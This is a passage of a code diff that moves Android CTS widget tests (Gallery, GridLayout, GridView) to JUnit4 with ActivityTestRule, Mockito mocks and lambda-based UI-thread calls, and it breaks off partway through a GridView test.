     public void testComputeHorizontalScrollExtent() {
-        MyGallery gallery = new MyGallery(mContext);
+        MyGallery gallery = new MyGallery(mActivity);
 
         // only one item is considered to be selected.
         assertEquals(1, gallery.computeHorizontalScrollExtent());
     }
 
     @UiThreadTest
+    @Test
     public void testComputeHorizontalScrollOffset() {
-        MyGallery gallery = new MyGallery(mContext);
+        MyGallery gallery = new MyGallery(mActivity);
         assertEquals(AdapterView.INVALID_POSITION, gallery.computeHorizontalScrollOffset());
         gallery.setAdapter(new ImageAdapter(mActivity));
 
@@ -257,8 +245,9 @@
     }
 
     @UiThreadTest
+    @Test
     public void testComputeHorizontalScrollRange() {
-        MyGallery gallery = new MyGallery(mContext);
+        MyGallery gallery = new MyGallery(mActivity);
         ImageAdapter adapter = new ImageAdapter(mActivity);
         gallery.setAdapter(adapter);
 
@@ -267,22 +256,22 @@
     }
 
     @UiThreadTest
+    @Test
     public void testDispatchSetPressed() {
-        final MyGallery gallery = (MyGallery) getActivity().findViewById(R.id.gallery_test);
+        mGallery.setSelection(0);
+        ((MyGallery) mGallery).dispatchSetPressed(true);
+        assertTrue(mGallery.getSelectedView().isPressed());
+        assertFalse(mGallery.getChildAt(1).isPressed());
 
-        gallery.setSelection(0);
-        gallery.dispatchSetPressed(true);
-        assertTrue(gallery.getSelectedView().isPressed());
-        assertFalse(gallery.getChildAt(1).isPressed());
-
-        gallery.dispatchSetPressed(false);
-        assertFalse(gallery.getSelectedView().isPressed());
-        assertFalse(gallery.getChildAt(1).isPressed());
+        ((MyGallery) mGallery).dispatchSetPressed(false);
+        assertFalse(mGallery.getSelectedView().isPressed());
+        assertFalse(mGallery.getChildAt(1).isPressed());
     }
 
     @UiThreadTest
+    @Test
     public void testGenerateDefaultLayoutParams() {
-        MyGallery gallery = new MyGallery(mContext);
+        MyGallery gallery = new MyGallery(mActivity);
         ViewGroup.LayoutParams p = gallery.generateDefaultLayoutParams();
         assertNotNull(p);
         assertTrue(p instanceof Gallery.LayoutParams);
@@ -290,21 +279,20 @@
         assertEquals(ViewGroup.LayoutParams.WRAP_CONTENT, p.height);
     }
 
+    @Test
     public void testGetChildDrawingOrder() {
-        final MyGallery gallery = (MyGallery) getActivity().findViewById(R.id.gallery_test);
-
         int childCount = 3;
         int index = 2;
-        assertEquals(gallery.getSelectedItemPosition(),
-                gallery.getChildDrawingOrder(childCount, index));
+        assertEquals(mGallery.getSelectedItemPosition(),
+                ((MyGallery) mGallery).getChildDrawingOrder(childCount, index));
 
         childCount = 5;
         index = 2;
-        assertEquals(index + 1, gallery.getChildDrawingOrder(childCount, index));
+        assertEquals(index + 1, ((MyGallery) mGallery).getChildDrawingOrder(childCount, index));
 
         childCount = 5;
         index = 3;
-        assertEquals(index + 1, gallery.getChildDrawingOrder(childCount, index));
+        assertEquals(index + 1, ((MyGallery) mGallery).getChildDrawingOrder(childCount, index));
     }
 
     private static class ImageAdapter extends BaseAdapter {
@@ -349,36 +337,86 @@
         };
     }
 
-    private static class MockOnItemSelectedListener implements OnItemSelectedListener {
-        private boolean mIsItemSelected;
-        private boolean mNothingSelected;
-        private int mItemSelectedCalledCount;
+    public static class MyGallery extends Gallery {
+        private ContextMenu.ContextMenuInfo mContextMenuInfo;
 
-        public boolean isItemSelected() {
-            return mIsItemSelected;
+        public MyGallery(Context context) {
+            super(context);
         }
 
-        public boolean hasNothingSelected() {
-            return mNothingSelected;
+        public MyGallery(Context context, AttributeSet attrs) {
+            super(context, attrs);
         }
 
-        public int getItemSelectedCalledCount() {
-            return mItemSelectedCalledCount;
+        public MyGallery(Context context, AttributeSet attrs, int defStyle) {
+            super(context, attrs, defStyle);
         }
 
-        public void reset() {
-            mIsItemSelected = false;
-            mNothingSelected = true;
-            mItemSelectedCalledCount = 0;
+        @Override
+        protected boolean getChildStaticTransformation(View child, Transformation t) {
+            return super.getChildStaticTransformation(child, t);
         }
 
-        public void onItemSelected(AdapterView<?> parent, View view, int position, long id) {
-            mIsItemSelected = true;
-            mItemSelectedCalledCount++;
+        @Override
+        protected boolean checkLayoutParams(ViewGroup.LayoutParams p) {
+            return super.checkLayoutParams(p);
         }
 
-        public void onNothingSelected(AdapterView<?> parent) {
-            mNothingSelected = true;
+        @Override
+        protected int computeHorizontalScrollExtent() {
+            return super.computeHorizontalScrollExtent();
+        }
+
+        @Override
+        protected int computeHorizontalScrollOffset() {
+            return super.computeHorizontalScrollOffset();
+        }
+
+        @Override
+        protected int computeHorizontalScrollRange() {
+            return super.computeHorizontalScrollRange();
+        }
+
+        @Override
+        protected void dispatchSetPressed(boolean pressed) {
+            super.dispatchSetPressed(pressed);
+        }
+
+        @Override
+        protected ViewGroup.LayoutParams generateDefaultLayoutParams() {
+            return super.generateDefaultLayoutParams();
+        }
+
+        @Override
+        protected ViewGroup.LayoutParams generateLayoutParams(ViewGroup.LayoutParams p) {
+            return super.generateLayoutParams(p);
+        }
+
+        @Override
+        protected int getChildDrawingOrder(int childCount, int i) {
+            return super.getChildDrawingOrder(childCount, i);
+        }
+
+        @Override
+        protected ContextMenu.ContextMenuInfo getContextMenuInfo() {
+            if (mContextMenuInfo == null) {
+                mContextMenuInfo = new MyContextMenuInfo();
+            }
+            return mContextMenuInfo;
+        }
+
+        @Override
+        protected void onFocusChanged(boolean gainFocus, int direction,
+                Rect previouslyFocusedRect) {
+            super.onFocusChanged(gainFocus, direction, previouslyFocusedRect);
+        }
+
+        @Override
+        protected void onLayout(boolean changed, int l, int t, int r, int b) {
+            super.onLayout(changed, l, t, r, b);
+        }
+
+        private static class MyContextMenuInfo implements ContextMenu.ContextMenuInfo {
         }
     }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/Gallery_LayoutParamsTest.java b/tests/tests/widget/src/android/widget/cts/Gallery_LayoutParamsTest.java
index eacb676..61c447b 100644
--- a/tests/tests/widget/src/android/widget/cts/Gallery_LayoutParamsTest.java
+++ b/tests/tests/widget/src/android/widget/cts/Gallery_LayoutParamsTest.java
@@ -16,28 +16,35 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
-
-
-import org.xmlpull.v1.XmlPullParserException;
-
+import android.content.Context;
 import android.content.res.XmlResourceParser;
-import android.cts.util.WidgetTestUtils;
-import android.test.AndroidTestCase;
-import android.widget.Gallery.LayoutParams;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.widget.Gallery;
+
+import com.android.compatibility.common.util.WidgetTestUtils;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParserException;
 
 import java.io.IOException;
 
 /**
- * Test {@link LayoutParams}.
+ * Test {@link Gallery.LayoutParams}.
  */
-public class Gallery_LayoutParamsTest extends AndroidTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class Gallery_LayoutParamsTest {
+    @Test
     public void testConstructor() throws XmlPullParserException, IOException {
-        XmlResourceParser p = mContext.getResources().getLayout(R.layout.gallery_test);
+        Context context = InstrumentationRegistry.getTargetContext();
+        XmlResourceParser p = context.getResources().getLayout(R.layout.gallery_test);
         WidgetTestUtils.beginDocument(p, "LinearLayout");
-        new LayoutParams(getContext(), p);
+        new Gallery.LayoutParams(context, p);
 
-        LayoutParams params = new LayoutParams(320, 480);
-        new LayoutParams(params);
+        Gallery.LayoutParams params = new Gallery.LayoutParams(320, 480);
+        new Gallery.LayoutParams(params);
     }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/GridLayoutTest.java b/tests/tests/widget/src/android/widget/cts/GridLayoutTest.java
index 65e86b3..4924407 100644
--- a/tests/tests/widget/src/android/widget/cts/GridLayoutTest.java
+++ b/tests/tests/widget/src/android/widget/cts/GridLayoutTest.java
@@ -16,8 +16,18 @@
 
 package android.widget.cts;
 
+import static android.widget.GridLayout.spec;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.app.Activity;
 import android.content.Context;
-import android.test.ActivityInstrumentationTestCase;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.Gravity;
@@ -27,16 +37,19 @@
 import android.widget.Button;
 import android.widget.GridLayout;
 import android.widget.TextView;
-import android.widget.cts.R;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 import org.xmlpull.v1.XmlPullParser;
 
-import static android.view.ViewGroup.LAYOUT_MODE_OPTICAL_BOUNDS;
-import static android.widget.GridLayout.spec;
-
 /**
- * Test {@link android.widget.GridLayout}.
+ * Test {@link GridLayout}.
  */
-public class GridLayoutTest extends ActivityInstrumentationTestCase<GridLayoutCtsActivity> {
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class GridLayoutTest {
 
     // The size of the off-screen test container in which we we will testing layout.
     public static final int MAX_X = 2000;
@@ -114,56 +127,58 @@
             }
     };
 
-    private Context mContext;
+    private Activity mActivity;
+    private GridLayout mGridLayout;
 
-    public GridLayoutTest() {
-        super("android.widget.cts", GridLayoutCtsActivity.class);
+    @Rule
+    public ActivityTestRule<GridLayoutCtsActivity> mActivityRule =
+            new ActivityTestRule<>(GridLayoutCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
+        mGridLayout = (GridLayout) mActivity.findViewById(R.id.gridlayout);
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mContext = getInstrumentation().getTargetContext();
-    }
-
+    @Test
     public void testConstructor() {
-        new GridLayout(mContext);
+        new GridLayout(mActivity);
 
-        new GridLayout(mContext, null);
+        new GridLayout(mActivity, null);
 
-        XmlPullParser parser = mContext.getResources().getXml(R.layout.gridlayout_layout);
+        XmlPullParser parser = mActivity.getResources().getXml(R.layout.gridlayout_layout);
         AttributeSet attrs = Xml.asAttributeSet(parser);
-        new GridLayout(mContext, attrs);
-
-        try {
-            new GridLayout(null, null);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-        }
+        new GridLayout(mActivity, attrs);
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testConstructorNullContext() {
+        new GridLayout(null, null);
+    }
+
+    @UiThreadTest
+    @Test
     public void testCheckLayoutParams() {
-        GridLayout gridLayout = new GridLayout(mContext);
+        mGridLayout.addView(new TextView(mActivity),
+                new AbsoluteLayout.LayoutParams(0, 0, 0, 0));
 
-        gridLayout.addView(new TextView(mContext), new AbsoluteLayout.LayoutParams(0, 0, 0, 0));
-
-        gridLayout.addView(new TextView(mContext), new GridLayout.LayoutParams(
-                GridLayout.spec(0),
-                GridLayout.spec(0)));
-
+        mGridLayout.addView(new TextView(mActivity),
+                new GridLayout.LayoutParams(GridLayout.spec(0), GridLayout.spec(0)));
     }
 
+    @UiThreadTest
+    @Test
     public void testGenerateDefaultLayoutParams() {
-        GridLayout gridLayout = new GridLayout(mContext);
-        ViewGroup.LayoutParams lp = gridLayout.generateLayoutParams(null);
+        ViewGroup.LayoutParams lp = mGridLayout.generateLayoutParams(null);
         assertNotNull(lp);
         assertTrue(lp instanceof GridLayout.LayoutParams);
         assertEquals(ViewGroup.LayoutParams.WRAP_CONTENT, lp.width);
         assertEquals(ViewGroup.LayoutParams.WRAP_CONTENT, lp.height);
     }
 
+    @Test
     public void testGenerateLayoutParamsFromMarginParams() {
-        MyGridLayout gridLayout = new MyGridLayout(mContext);
+        MyGridLayout gridLayout = new MyGridLayout(mActivity);
         ViewGroup.MarginLayoutParams lp = new ViewGroup.MarginLayoutParams(3, 5);
         lp.leftMargin = 1;
         lp.topMargin = 2;
@@ -234,7 +249,8 @@
         return table;
     }
 
-    private void testAlignment(int row, int col, Alignment a, View v0, View v1, String group) {
+    private void verifyCellAlignment(int row, int col, Alignment a, View v0, View v1,
+            String group) {
         int a0 = a.getValue(v0);
         int a1 = a.getValue(v1);
         assertEquals("View at row " + row + ", column " + col + " was not " + a.name +
@@ -242,7 +258,7 @@
                 a0, a1);
     }
 
-    private void test(GridLayout p, View[][] table) {
+    private void verifyGridAlignment(GridLayout p, View[][] table) {
         p.measure(View.MeasureSpec.UNSPECIFIED, View.MeasureSpec.UNSPECIFIED);
         p.layout(0, 0, MAX_X, MAX_Y);
 
@@ -256,7 +272,7 @@
             Alignment alignment = HORIZONTAL_ALIGNMENTS[j];
             for (int i = 0; i < N; i++) {
                 int row = i + 1;
-                testAlignment(row, col, alignment, v0, table[row][col], "column");
+                verifyCellAlignment(row, col, alignment, v0, table[row][col], "column");
             }
         }
 
@@ -267,16 +283,16 @@
             Alignment alignment = VERTICAL_ALIGNMENTS[i];
             for (int j = 0; j < M; j++) {
                 int col = j + 1;
-                testAlignment(row, col, alignment, v0, table[row][col], "row");
+                verifyCellAlignment(row, col, alignment, v0, table[row][col], "row");
             }
         }
     }
+
+    @UiThreadTest
+    @Test
     public void testAlignment() {
-        GridLayout p = new GridLayout(mContext);
-        View[][] table = populate(p);
-        test(p, table);
-        //p.setLayoutMode(ViewGroup.LAYOUT_MODE_OPTICAL_BOUNDS);
-        //test(p, table);
+        View[][] table = populate(mGridLayout);
+        verifyGridAlignment(mGridLayout, table);
     }
 
     private static class MyGridLayout extends GridLayout {
diff --git a/tests/tests/widget/src/android/widget/cts/GridViewCtsActivity.java b/tests/tests/widget/src/android/widget/cts/GridViewCtsActivity.java
index 7b2e7a3..47ad5d8 100644
--- a/tests/tests/widget/src/android/widget/cts/GridViewCtsActivity.java
+++ b/tests/tests/widget/src/android/widget/cts/GridViewCtsActivity.java
@@ -16,17 +16,16 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
-
 import android.app.Activity;
 import android.os.Bundle;
+import android.widget.GridView;
 
 /**
  * A minimal application for {@link GridView} test.
  */
 public class GridViewCtsActivity extends Activity {
     /**
-     * Called with the activity is first created.
+     * Called when the activity is first created.
      */
     @Override
     public void onCreate(Bundle savedInstanceState) {
diff --git a/tests/tests/widget/src/android/widget/cts/GridViewTest.java b/tests/tests/widget/src/android/widget/cts/GridViewTest.java
index 7b83416..95e3581 100644
--- a/tests/tests/widget/src/android/widget/cts/GridViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/GridViewTest.java
@@ -16,22 +16,35 @@
 
 package android.widget.cts;
 
-import android.test.suitebuilder.annotation.MediumTest;
-import android.widget.cts.R;
-
-
-import org.xmlpull.v1.XmlPullParser;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Matchers.any;
+import static org.mockito.Matchers.anyInt;
+import static org.mockito.Matchers.anyLong;
+import static org.mockito.Matchers.eq;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
 
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.content.Context;
-import android.cts.util.PollingCheck;
 import android.database.DataSetObservable;
 import android.database.DataSetObserver;
 import android.graphics.Rect;
-import android.test.ActivityInstrumentationTestCase;
-import android.test.TouchUtils;
-import android.test.UiThreadTest;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.LargeTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.test.ViewAsserts;
 import android.util.AttributeSet;
 import android.util.Xml;
@@ -47,39 +60,44 @@
 import android.widget.GridView;
 import android.widget.ImageView;
 import android.widget.ListAdapter;
-import android.widget.AdapterView.OnItemClickListener;
-import android.widget.cts.util.ViewTestUtils;
+
+import com.android.compatibility.common.util.CtsKeyEventUtil;
+import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.WidgetTestUtils;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParser;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
 
 /**
  * Test {@link GridView}.
  */
-public class GridViewTest extends ActivityInstrumentationTestCase<GridViewCtsActivity> {
-    private GridView mGridView;
-    private Activity mActivity;
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class GridViewTest {
     private Instrumentation mInstrumentation;
+    private Activity mActivity;
+    private GridView mGridView;
 
-    public GridViewTest() {
-        super("android.widget.cts", GridViewCtsActivity.class);
+    @Rule
+    public ActivityTestRule<GridViewCtsActivity> mActivityRule =
+            new ActivityTestRule<>(GridViewCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
+        mGridView = (GridView) mActivity.findViewById(R.id.gridview);
+
+        PollingCheck.waitFor(mActivity::hasWindowFocus);
     }
 
-    private GridView findGridViewById(int id) {
-        return (GridView) mActivity.findViewById(id);
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mGridView = null;
-        mActivity = getActivity();
-        new PollingCheck() {
-            @Override
-            protected boolean check() {
-                return mActivity.hasWindowFocus();
-            }
-        }.run();
-        mInstrumentation = getInstrumentation();
-    }
-
+    @Test
     public void testConstructor() {
         new GridView(mActivity);
 
@@ -87,32 +105,38 @@
 
         new GridView(mActivity, null, android.R.attr.gridViewStyle);
 
+        new GridView(mActivity, null, 0, android.R.style.Widget_DeviceDefault_GridView);
+
+        new GridView(mActivity, null, 0, android.R.style.Widget_DeviceDefault_Light_GridView);
+
+        new GridView(mActivity, null, 0, android.R.style.Widget_Material_GridView);
+
+        new GridView(mActivity, null, 0, android.R.style.Widget_Material_Light_GridView);
+
         XmlPullParser parser = mActivity.getResources().getXml(R.layout.gridview_layout);
         AttributeSet attrs = Xml.asAttributeSet(parser);
         new GridView(mActivity, attrs);
         new GridView(mActivity, attrs, 0);
-
-        try {
-            new GridView(null);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-        }
-
-        try {
-            new GridView(null, null);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-        }
-
-        try {
-            new GridView(null, null, 0);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-        }
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testConstructorNullContext1() {
+        new GridView(null);
+    }
+
+    @Test(expected=NullPointerException.class)
+    public void testConstructorNullContext2() {
+        new GridView(null, null);
+    }
+
+    @Test(expected=NullPointerException.class)
+    public void testConstructorNullContext3() {
+        new GridView(null, null, 0);
+    }
+
+    @UiThreadTest
+    @Test
     public void testAccessAdapter() {
-        mGridView = new GridView(mActivity);
         // set Adapter
         ImageAdapter adapter = new ImageAdapter(mActivity);
         mGridView.setAdapter(adapter);
@@ -122,8 +146,9 @@
         assertNull(mGridView.getAdapter());
     }
 
+    @UiThreadTest
+    @Test
     public void testSetSelection() {
-        mGridView = new GridView(mActivity);
         mGridView.setSelection(0);
         assertEquals(0, mGridView.getSelectedItemPosition());
 
@@ -134,22 +159,21 @@
         assertEquals(mGridView.getCount(), mGridView.getSelectedItemPosition());
     }
 
-    public void testPressKey() {
+    @Test
+    public void testPressKey() throws Throwable {
         final int NUM_COLUMNS = 3;
-        mGridView = findGridViewById(R.id.gridview);
 
-        MockOnItemClickListener listener = new MockOnItemClickListener();
-        mGridView.setOnItemClickListener(listener);
+        GridView.OnItemClickListener mockItemClickListener =
+                mock(GridView.OnItemClickListener.class);
+        mGridView.setOnItemClickListener(mockItemClickListener);
 
         // this test case can not be ran in UI thread.
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mGridView.setAdapter(new ImageAdapter(mActivity));
-                mGridView.setNumColumns(NUM_COLUMNS);
-                mGridView.invalidate();
-                mGridView.requestLayout();
-                mGridView.requestFocus();
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mGridView.setAdapter(new ImageAdapter(mActivity));
+            mGridView.setNumColumns(NUM_COLUMNS);
+            mGridView.invalidate();
+            mGridView.requestLayout();
+            mGridView.requestFocus();
         });
         mInstrumentation.waitForIdleSync();
 
@@ -169,103 +193,102 @@
         mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_DPAD_LEFT);
         assertEquals(0, mGridView.getSelectedItemPosition());
 
+        mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_TAB);
+        assertEquals(1, mGridView.getSelectedItemPosition());
+
+        event = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_TAB, 0,
+                KeyEvent.META_SHIFT_LEFT_ON);
+        mInstrumentation.sendKeySync(event);
+        event = new KeyEvent(0, 0, KeyEvent.ACTION_UP, KeyEvent.KEYCODE_TAB, 0,
+                KeyEvent.META_SHIFT_LEFT_ON);
+        mInstrumentation.sendKeySync(event);
+        assertEquals(0, mGridView.getSelectedItemPosition());
+
         mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_DPAD_DOWN);
         assertEquals(NUM_COLUMNS, mGridView.getSelectedItemPosition());
 
-        assertFalse(listener.hasOnItemClickCalled());
+        verify(mockItemClickListener, never()).onItemClick(any(AdapterView.class), any(View.class),
+                anyInt(), anyLong());
         mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_DPAD_CENTER);
-        assertTrue(listener.hasOnItemClickCalled());
+        verify(mockItemClickListener, times(1)).onItemClick(eq(mGridView), any(View.class),
+                eq(NUM_COLUMNS), eq((long) NUM_COLUMNS));
 
-        listener.reset();
-        assertFalse(listener.hasOnItemClickCalled());
+        reset(mockItemClickListener);
         mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_ENTER);
-        assertTrue(listener.hasOnItemClickCalled());
+        verify(mockItemClickListener, times(1)).onItemClick(eq(mGridView), any(View.class),
+                eq(NUM_COLUMNS), eq((long) NUM_COLUMNS));
     }
 
-    public void testSetGravity() {
-        mGridView = findGridViewById(R.id.gridview);
-
-        View child;
+    @Test
+    public void testSetGravity() throws Throwable {
         final int NUM_COLUMNS = 1;
         // this test case can not be ran in UI thread.
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mGridView.setAdapter(new ImageAdapter(mActivity));
-                mGridView.setNumColumns(NUM_COLUMNS);
-                mGridView.setHorizontalSpacing(0);
-                mGridView.setVerticalSpacing(0);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mGridView.setAdapter(new ImageAdapter(mActivity));
+            mGridView.setNumColumns(NUM_COLUMNS);
+            mGridView.setHorizontalSpacing(0);
+            mGridView.setVerticalSpacing(0);
         });
         mInstrumentation.waitForIdleSync();
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mGridView.setGravity(Gravity.CENTER_HORIZONTAL);
-                mGridView.invalidate();
-                mGridView.requestLayout();
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mGridView.setGravity(Gravity.CENTER_HORIZONTAL);
+            mGridView.invalidate();
+            mGridView.requestLayout();
         });
         mInstrumentation.waitForIdleSync();
 
-        child = mGridView.getChildAt(0); // get the first view.
-        ViewAsserts.assertHorizontalCenterAligned(mGridView, child);
+        assertEquals(Gravity.CENTER_HORIZONTAL, mGridView.getGravity());
+        ViewAsserts.assertHorizontalCenterAligned(mGridView, mGridView.getChildAt(0));
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mGridView.setGravity(Gravity.LEFT);
-                mGridView.invalidate();
-                mGridView.requestLayout();
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mGridView.setGravity(Gravity.LEFT);
+            mGridView.invalidate();
+            mGridView.requestLayout();
         });
         mInstrumentation.waitForIdleSync();
 
-        child = mGridView.getChildAt(0); // get the first view.
-        ViewAsserts.assertLeftAligned(mGridView, child, mGridView.getListPaddingLeft());
+        assertEquals(Gravity.LEFT, mGridView.getGravity());
+        ViewAsserts.assertLeftAligned(mGridView, mGridView.getChildAt(0),
+                mGridView.getListPaddingLeft());
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mGridView.setGravity(Gravity.RIGHT);
-                mGridView.invalidate();
-                mGridView.requestLayout();
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mGridView.setGravity(Gravity.RIGHT);
+            mGridView.invalidate();
+            mGridView.requestLayout();
         });
         mInstrumentation.waitForIdleSync();
 
-        child = mGridView.getChildAt(0); // get the first view.
-        ViewAsserts.assertRightAligned(mGridView, child, mGridView.getListPaddingRight());
+        assertEquals(Gravity.RIGHT, mGridView.getGravity());
+        ViewAsserts.assertRightAligned(mGridView, mGridView.getChildAt(0),
+                mGridView.getListPaddingRight());
     }
 
-    public void testSetHorizontalSpacing() {
-        testSetHorizontalSpacing(View.LAYOUT_DIRECTION_LTR);
+    @Test
+    public void testAccessHorizontalSpacing() throws Throwable {
+        verifyAccessHorizontalSpacing(View.LAYOUT_DIRECTION_LTR);
     }
 
-    public void testSetHorizontalSpacingRTL() {
-        testSetHorizontalSpacing(View.LAYOUT_DIRECTION_RTL);
+    @Test
+    public void testAccessHorizontalSpacingRTL() throws Throwable {
+        verifyAccessHorizontalSpacing(View.LAYOUT_DIRECTION_RTL);
     }
 
-    public void testSetHorizontalSpacing(final int layoutDir) {
-        mGridView = findGridViewById(R.id.gridview);
-        mActivity.runOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mGridView.setLayoutDirection(layoutDir);
-            }
-        });
+    private void verifyAccessHorizontalSpacing(final int layoutDir) throws Throwable {
+        mActivityRule.runOnUiThread(() -> mGridView.setLayoutDirection(layoutDir));
         mGridView.setStretchMode(GridView.NO_STRETCH);
         // Number of columns should be big enough, otherwise the
         // horizontal spacing cannot be correctly verified.
         mGridView.setNumColumns(28);
 
-
-        // this test case can not be ran in UI thread.
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mGridView.setAdapter(new MockGridViewAdapter(3));
-                mGridView.setHorizontalSpacing(0);
-            }
+        mActivityRule.runOnUiThread(() ->  {
+            mGridView.setAdapter(new MockGridViewAdapter(3));
+            mGridView.setHorizontalSpacing(0);
         });
         mInstrumentation.waitForIdleSync();
 
+        assertEquals(0, mGridView.getRequestedHorizontalSpacing());
+        assertEquals(0, mGridView.getHorizontalSpacing());
         View child0 = mGridView.getChildAt(0);
         View child1 = mGridView.getChildAt(1);
         if (layoutDir == View.LAYOUT_DIRECTION_LTR) {
@@ -274,13 +297,11 @@
             assertEquals(0, child0.getLeft() - child1.getRight());
         }
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mGridView.setHorizontalSpacing(5);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mGridView.setHorizontalSpacing(5));
         mInstrumentation.waitForIdleSync();
 
+        assertEquals(5, mGridView.getRequestedHorizontalSpacing());
+        assertEquals(5, mGridView.getHorizontalSpacing());
         child0 = mGridView.getChildAt(0);
         child1 = mGridView.getChildAt(1);
         if (layoutDir == View.LAYOUT_DIRECTION_LTR) {
@@ -290,50 +311,42 @@
         }
     }
 
-    public void testSetVerticalSpacing() {
-        mGridView = findGridViewById(R.id.gridview);
-
-        // this test case can not be ran in UI thread.
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mGridView.setAdapter(new MockGridViewAdapter(3));
-                mGridView.setVerticalSpacing(0);
-            }
+    @Test
+    public void testAccessVerticalSpacing() throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            mGridView.setAdapter(new MockGridViewAdapter(3));
+            mGridView.setVerticalSpacing(0);
         });
         mInstrumentation.waitForIdleSync();
 
+        assertEquals(0, mGridView.getVerticalSpacing());
         View child0 = mGridView.getChildAt(0);
         View child1 = mGridView.getChildAt(1);
         assertEquals(0, child1.getTop() - child0.getBottom());
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mGridView.setVerticalSpacing(5);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mGridView.setVerticalSpacing(5));
         mInstrumentation.waitForIdleSync();
 
+        assertEquals(5, mGridView.getVerticalSpacing());
         child0 = mGridView.getChildAt(0);
         child1 = mGridView.getChildAt(1);
         assertEquals(5, child1.getTop() - child0.getBottom());
     }
 
-    public void testAccessStretchMode() {
-        mGridView = findGridViewById(R.id.gridview);
+    @Test
+    public void testAccessStretchMode() throws Throwable {
         View child;
 
         final int NUM_COLUMNS = 8;
         // this test case can not be ran in UI thread.
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mGridView.setAdapter(new ImageAdapter(mActivity));
-                mGridView.setColumnWidth(10);
-                mGridView.setNumColumns(NUM_COLUMNS);
-                mGridView.setHorizontalSpacing(0);
-                mGridView.setVerticalSpacing(0);
-                mGridView.invalidate();
-                mGridView.requestLayout();
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mGridView.setAdapter(new ImageAdapter(mActivity));
+            mGridView.setColumnWidth(10);
+            mGridView.setNumColumns(NUM_COLUMNS);
+            mGridView.setHorizontalSpacing(0);
+            mGridView.setVerticalSpacing(0);
+            mGridView.invalidate();
+            mGridView.requestLayout();
         });
         mInstrumentation.waitForIdleSync();
 
@@ -345,13 +358,11 @@
         int INDEX_0 = 1;
         int INDEX_1 = 2;
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mGridView.setColumnWidth(15);
-                mGridView.setStretchMode(GridView.STRETCH_SPACING);
-                mGridView.invalidate();
-                mGridView.requestLayout();
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mGridView.setColumnWidth(15);
+            mGridView.setStretchMode(GridView.STRETCH_SPACING);
